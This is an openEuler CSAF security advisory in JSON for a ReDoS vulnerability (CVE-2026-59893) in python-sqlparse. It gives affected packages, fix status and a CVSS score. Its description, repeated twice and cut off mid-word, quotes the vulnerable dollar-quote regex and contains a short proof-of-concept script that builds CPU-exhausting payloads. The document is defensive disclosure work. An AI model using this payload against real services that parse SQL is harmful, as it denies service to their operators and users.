{
	"document":{
		"aggregate_severity":{
			"namespace":"https://nvd.nist.gov/vuln-metrics/cvss",
			"text":"High"
		},
		"category":"csaf_vex",
		"csaf_version":"2.0",
		"distribution":{
			"tlp":{
				"label":"WHITE",
				"url":"https:/www.first.org/tlp/"
			}
		},
		"lang":"en",
		"notes":[
			{
				"text":"python-sqlparse security update",
				"category":"general",
				"title":"Synopsis"
			},
			{
				"text":"An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4",
				"category":"general",
				"title":"Summary"
			},
			{
				"text":"A non-validating SQL parser.\n\nSecurity Fix(es):\n\n### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r'((?<![\\w\\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` — `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` — delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` — `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` — `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` — every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` — the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31×** (input doubled → time tripled), confirming O(n²) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -> str:\n    # N unique unmatched dollar-quote openers — none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**E(CVE-2026-59893)",
				"category":"general",
				"title":"Description"
			},
			{
				"text":"An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4.\n\nopenEuler Security has rated this update as having a security impact of high. A Common Vunlnerability Scoring System(CVSS)base score,which gives a detailed severity rating, is available for each vulnerability from the CVElink(s) in the References section.",
				"category":"general",
				"title":"Topic"
			},
			{
				"text":"High",
				"category":"general",
				"title":"Severity"
			},
			{
				"text":"python-sqlparse",
				"category":"general",
				"title":"Affected Component"
			}
		],
		"publisher":{
			"issuing_authority":"openEuler security committee",
			"name":"openEuler",
			"namespace":"https://www.openeuler.org",
			"contact_details":"openeuler-security@openeuler.org",
			"category":"vendor"
		},
		"references":[
			{
				"summary":"openEuler-SA-2026-3547",
				"category":"self",
				"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3547"
			},
			{
				"summary":"CVE-2026-59893",
				"category":"self",
				"url":"https://www.openeuler.org/en/security/cve/detail/?cveId=CVE-2026-59893&packageName=python-sqlparse"
			},
			{
				"summary":"nvd cve",
				"category":"external",
				"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
			},
			{
				"summary":"openEuler-SA-2026-3547 vex file",
				"category":"self",
				"url":"https://repo.openeuler.org/security/data/csaf/advisories/2026/csaf-openeuler-sa-2026-3547.json"
			}
		],
		"title":"An update for python-sqlparse is now available for openEuler-22.03-LTS-SP4,openEuler-24.03-LTS-SP1,openEuler-24.03-LTS-SP3,openEuler-24.03-LTS-SP4,openEuler-20.03-LTS-SP4",
		"tracking":{
			"initial_release_date":"2026-09-02T09:27:08+08:00",
			"revision_history":[
				{
					"date":"2026-09-02T09:27:08+08:00",
					"summary":"Initial",
					"number":"1.0.0"
				}
			],
			"generator":{
				"date":"2026-09-02T09:27:08+08:00",
				"engine":{
					"name":"openEuler CSAF Tool V1.0"
				}
			},
			"current_release_date":"2026-09-02T09:27:08+08:00",
			"id":"openEuler-SA-2026-3547",
			"version":"1.0.0",
			"status":"final"
		}
	},
	"product_tree":{
		"branches":[
			{
				"name":"openEuler",
				"category":"vendor",
				"branches":[
					{
						"name":"openEuler",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:22.03-LTS-SP4"
									},
									"product_id":"openEuler-22.03-LTS-SP4",
									"name":"openEuler-22.03-LTS-SP4"
								},
								"name":"openEuler-22.03-LTS-SP4",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP1"
									},
									"product_id":"openEuler-24.03-LTS-SP1",
									"name":"openEuler-24.03-LTS-SP1"
								},
								"name":"openEuler-24.03-LTS-SP1",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"openEuler-24.03-LTS-SP3",
									"name":"openEuler-24.03-LTS-SP3"
								},
								"name":"openEuler-24.03-LTS-SP3",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP4"
									},
									"product_id":"openEuler-24.03-LTS-SP4",
									"name":"openEuler-24.03-LTS-SP4"
								},
								"name":"openEuler-24.03-LTS-SP4",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:20.03-LTS-SP4"
									},
									"product_id":"openEuler-20.03-LTS-SP4",
									"name":"openEuler-20.03-LTS-SP4"
								},
								"name":"openEuler-20.03-LTS-SP4",
								"category":"product_version"
							}
						],
						"category":"product_name"
					},
					{
						"name":"src",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:22.03-LTS-SP4"
									},
									"product_id":"python-sqlparse-0.4.2-4.oe2203sp4.src.rpm",
									"name":"python-sqlparse-0.4.2-4.oe2203sp4.src.rpm"
								},
								"name":"python-sqlparse-0.4.2-4.oe2203sp4.src.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP1"
									},
									"product_id":"python-sqlparse-0.4.4-3.oe2403sp1.src.rpm",
									"name":"python-sqlparse-0.4.4-3.oe2403sp1.src.rpm"
								},
								"name":"python-sqlparse-0.4.4-3.oe2403sp1.src.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"python-sqlparse-0.6.0-1.oe2403sp3.src.rpm",
									"name":"python-sqlparse-0.6.0-1.oe2403sp3.src.rpm"
								},
								"name":"python-sqlparse-0.6.0-1.oe2403sp3.src.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP4"
									},
									"product_id":"python-sqlparse-0.6.0-1.oe2403sp4.src.rpm",
									"name":"python-sqlparse-0.6.0-1.oe2403sp4.src.rpm"
								},
								"name":"python-sqlparse-0.6.0-1.oe2403sp4.src.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:20.03-LTS-SP4"
									},
									"product_id":"python-sqlparse-0.3.1-4.oe2003sp4.src.rpm",
									"name":"python-sqlparse-0.3.1-4.oe2003sp4.src.rpm"
								},
								"name":"python-sqlparse-0.3.1-4.oe2003sp4.src.rpm",
								"category":"product_version"
							}
						],
						"category":"architecture"
					},
					{
						"name":"noarch",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:22.03-LTS-SP4"
									},
									"product_id":"python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm",
									"name":"python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm"
								},
								"name":"python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:22.03-LTS-SP4"
									},
									"product_id":"python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm",
									"name":"python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm"
								},
								"name":"python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP1"
									},
									"product_id":"python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm",
									"name":"python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm"
								},
								"name":"python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm",
									"name":"python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm"
								},
								"name":"python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP4"
									},
									"product_id":"python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm",
									"name":"python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm"
								},
								"name":"python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:20.03-LTS-SP4"
									},
									"product_id":"python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm",
									"name":"python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm"
								},
								"name":"python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:20.03-LTS-SP4"
									},
									"product_id":"python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm",
									"name":"python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm"
								},
								"name":"python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm",
								"category":"product_version"
							}
						],
						"category":"architecture"
					}
				]
			}
		],
		"relationships":[
			{
				"relates_to_product_reference":"openEuler-22.03-LTS-SP4",
				"product_reference":"python-sqlparse-0.4.2-4.oe2203sp4.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-22.03-LTS-SP4:python-sqlparse-0.4.2-4.oe2203sp4.src",
					"name":"python-sqlparse-0.4.2-4.oe2203sp4.src as a component of openEuler-22.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP1",
				"product_reference":"python-sqlparse-0.4.4-3.oe2403sp1.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP1:python-sqlparse-0.4.4-3.oe2403sp1.src",
					"name":"python-sqlparse-0.4.4-3.oe2403sp1.src as a component of openEuler-24.03-LTS-SP1"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP3",
				"product_reference":"python-sqlparse-0.6.0-1.oe2403sp3.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP3:python-sqlparse-0.6.0-1.oe2403sp3.src",
					"name":"python-sqlparse-0.6.0-1.oe2403sp3.src as a component of openEuler-24.03-LTS-SP3"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP4",
				"product_reference":"python-sqlparse-0.6.0-1.oe2403sp4.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP4:python-sqlparse-0.6.0-1.oe2403sp4.src",
					"name":"python-sqlparse-0.6.0-1.oe2403sp4.src as a component of openEuler-24.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-20.03-LTS-SP4",
				"product_reference":"python-sqlparse-0.3.1-4.oe2003sp4.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-20.03-LTS-SP4:python-sqlparse-0.3.1-4.oe2003sp4.src",
					"name":"python-sqlparse-0.3.1-4.oe2003sp4.src as a component of openEuler-20.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-22.03-LTS-SP4",
				"product_reference":"python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-22.03-LTS-SP4:python-sqlparse-help-0.4.2-4.oe2203sp4.noarch",
					"name":"python-sqlparse-help-0.4.2-4.oe2203sp4.noarch as a component of openEuler-22.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-22.03-LTS-SP4",
				"product_reference":"python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-22.03-LTS-SP4:python3-sqlparse-0.4.2-4.oe2203sp4.noarch",
					"name":"python3-sqlparse-0.4.2-4.oe2203sp4.noarch as a component of openEuler-22.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP1",
				"product_reference":"python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP1:python3-sqlparse-0.4.4-3.oe2403sp1.noarch",
					"name":"python3-sqlparse-0.4.4-3.oe2403sp1.noarch as a component of openEuler-24.03-LTS-SP1"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP3",
				"product_reference":"python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP3:python3-sqlparse-0.6.0-1.oe2403sp3.noarch",
					"name":"python3-sqlparse-0.6.0-1.oe2403sp3.noarch as a component of openEuler-24.03-LTS-SP3"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP4",
				"product_reference":"python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP4:python3-sqlparse-0.6.0-1.oe2403sp4.noarch",
					"name":"python3-sqlparse-0.6.0-1.oe2403sp4.noarch as a component of openEuler-24.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-20.03-LTS-SP4",
				"product_reference":"python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-20.03-LTS-SP4:python-sqlparse-help-0.3.1-4.oe2003sp4.noarch",
					"name":"python-sqlparse-help-0.3.1-4.oe2003sp4.noarch as a component of openEuler-20.03-LTS-SP4"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-20.03-LTS-SP4",
				"product_reference":"python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-20.03-LTS-SP4:python3-sqlparse-0.3.1-4.oe2003sp4.noarch",
					"name":"python3-sqlparse-0.3.1-4.oe2003sp4.noarch as a component of openEuler-20.03-LTS-SP4"
				},
				"category":"default_component_of"
			}
		]
	},
	"vulnerabilities":[
		{
			"cve":"CVE-2026-59893",
			"notes":[
				{
					"text":"### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r'((?<![\\w\\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` — `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` — delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` — `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` — `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` — every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` — the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31×** (input doubled → time tripled), confirming O(n²) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -> str:\n    # N unique unmatched dollar-quote openers — none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**E",
					"category":"description",
					"title":"Vulnerability Description"
				}
			],
			"product_status":{
				"fixed":[
					"openEuler-22.03-LTS-SP4:python-sqlparse-0.4.2-4.oe2203sp4.src",
					"openEuler-24.03-LTS-SP1:python-sqlparse-0.4.4-3.oe2403sp1.src",
					"openEuler-24.03-LTS-SP3:python-sqlparse-0.6.0-1.oe2403sp3.src",
					"openEuler-24.03-LTS-SP4:python-sqlparse-0.6.0-1.oe2403sp4.src",
					"openEuler-20.03-LTS-SP4:python-sqlparse-0.3.1-4.oe2003sp4.src",
					"openEuler-22.03-LTS-SP4:python-sqlparse-help-0.4.2-4.oe2203sp4.noarch",
					"openEuler-22.03-LTS-SP4:python3-sqlparse-0.4.2-4.oe2203sp4.noarch",
					"openEuler-24.03-LTS-SP1:python3-sqlparse-0.4.4-3.oe2403sp1.noarch",
					"openEuler-24.03-LTS-SP3:python3-sqlparse-0.6.0-1.oe2403sp3.noarch",
					"openEuler-24.03-LTS-SP4:python3-sqlparse-0.6.0-1.oe2403sp4.noarch",
					"openEuler-20.03-LTS-SP4:python-sqlparse-help-0.3.1-4.oe2003sp4.noarch",
					"openEuler-20.03-LTS-SP4:python3-sqlparse-0.3.1-4.oe2003sp4.noarch"
				]
			},
			"remediations":[
				{
					"product_ids":[
						"openEuler-22.03-LTS-SP4:python-sqlparse-0.4.2-4.oe2203sp4.src",
						"openEuler-24.03-LTS-SP1:python-sqlparse-0.4.4-3.oe2403sp1.src",
						"openEuler-24.03-LTS-SP3:python-sqlparse-0.6.0-1.oe2403sp3.src",
						"openEuler-24.03-LTS-SP4:python-sqlparse-0.6.0-1.oe2403sp4.src",
						"openEuler-20.03-LTS-SP4:python-sqlparse-0.3.1-4.oe2003sp4.src",
						"openEuler-22.03-LTS-SP4:python-sqlparse-help-0.4.2-4.oe2203sp4.noarch",
						"openEuler-22.03-LTS-SP4:python3-sqlparse-0.4.2-4.oe2203sp4.noarch",
						"openEuler-24.03-LTS-SP1:python3-sqlparse-0.4.4-3.oe2403sp1.noarch",
						"openEuler-24.03-LTS-SP3:python3-sqlparse-0.6.0-1.oe2403sp3.noarch",
						"openEuler-24.03-LTS-SP4:python3-sqlparse-0.6.0-1.oe2403sp4.noarch",
						"openEuler-20.03-LTS-SP4:python-sqlparse-help-0.3.1-4.oe2003sp4.noarch",
						"openEuler-20.03-LTS-SP4:python3-sqlparse-0.3.1-4.oe2003sp4.noarch"
					],
					"details":"python-sqlparse security update",
					"category":"vendor_fix",
					"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3547"
				}
			],
			"scores":[
				{
					"cvss_v3":{
						"baseSeverity":"HIGH",
						"baseScore":7.5,
						"vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
						"version":"3.1"
					},
					"products":[
						"openEuler-22.03-LTS-SP4:python-sqlparse-0.4.2-4.oe2203sp4.src",
						"openEuler-24.03-LTS-SP1:python-sqlparse-0.4.4-3.oe2403sp1.src",
						"openEuler-24.03-LTS-SP3:python-sqlparse-0.6.0-1.oe2403sp3.src",
						"openEuler-24.03-LTS-SP4:python-sqlparse-0.6.0-1.oe2403sp4.src",
						"openEuler-20.03-LTS-SP4:python-sqlparse-0.3.1-4.oe2003sp4.src",
						"openEuler-22.03-LTS-SP4:python-sqlparse-help-0.4.2-4.oe2203sp4.noarch",
						"openEuler-22.03-LTS-SP4:python3-sqlparse-0.4.2-4.oe2203sp4.noarch",
						"openEuler-24.03-LTS-SP1:python3-sqlparse-0.4.4-3.oe2403sp1.noarch",
						"openEuler-24.03-LTS-SP3:python3-sqlparse-0.6.0-1.oe2403sp3.noarch",
						"openEuler-24.03-LTS-SP4:python3-sqlparse-0.6.0-1.oe2403sp4.noarch",
						"openEuler-20.03-LTS-SP4:python-sqlparse-help-0.3.1-4.oe2003sp4.noarch",
						"openEuler-20.03-LTS-SP4:python3-sqlparse-0.3.1-4.oe2003sp4.noarch"
					]
				}
			],
			"threats":[
				{
					"details":"High",
					"category":"impact"
				}
			],
			"title":"CVE-2026-59893"
		}
	]
}